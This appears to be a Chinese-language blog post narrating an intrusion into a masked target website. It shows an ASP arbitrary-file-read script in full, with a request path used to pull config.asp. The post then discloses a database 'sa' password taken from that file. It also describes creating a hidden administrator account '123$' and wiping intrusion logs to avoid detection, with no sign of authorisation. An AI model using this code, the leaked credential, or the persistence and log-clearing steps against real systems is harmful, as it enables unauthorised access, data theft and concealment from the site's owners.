这两天在折腾一个目标站点,域名是www.***.com。一开始,按照常规渗透测试思路,把能想到的常见手段都尝试了一遍——一句话木马、加密过的马,能试的都试了。结果呢?统统无效,文件上传不进去,系统也进不去,卡在这儿了。
说实话,这种情况确实挺让人头疼的。但既然已经投入了时间,总不能半途而废。于是静下心来,花了整整两天时间,反复分析这个站点的潜在漏洞点在哪里。最后,自己编写了一段自定义代码,居然成功绕过了安全限制,直接读取了站点下的config.asp文件源码。来看看这段代码长什么样:
<%
file=Request("file")
Set FSOOBJ=Server.CreateObject("Scripting.FileSystemObject")
if FSOOBJ.fileExists(file) then
Set myfile=FSOOBJ.opentextfile(file,1)
Response.write "" & server.HTMLEncode(myfile.readall) & "
"
myfile.close
Set myfile=nothing
else
Response.write "file(" & file & ") not exists."
end if
%>关键就在于,这个站点存在一个文件读取漏洞,利用https://www.***.com/view.asp?file=D:\wwwroot\index.asp这样的请求,就能直接拿到目标文件的内容。更关键的是,从config.asp里挖到了敏感信息:
- SQL服务器地址:***.***.***.***
- 数据库账号:sa
- 数据库密码:u8f2444f
拿到这些凭据后,后续操作变得简单多了。通过这个数据库账号成功登录,顺手在系统里建立了一个隐藏管理员用户,名字叫123$。干完该干的活儿,记得把入侵日志全部清理干净,然后从容退出。整个过程,干净利落,不留痕迹。
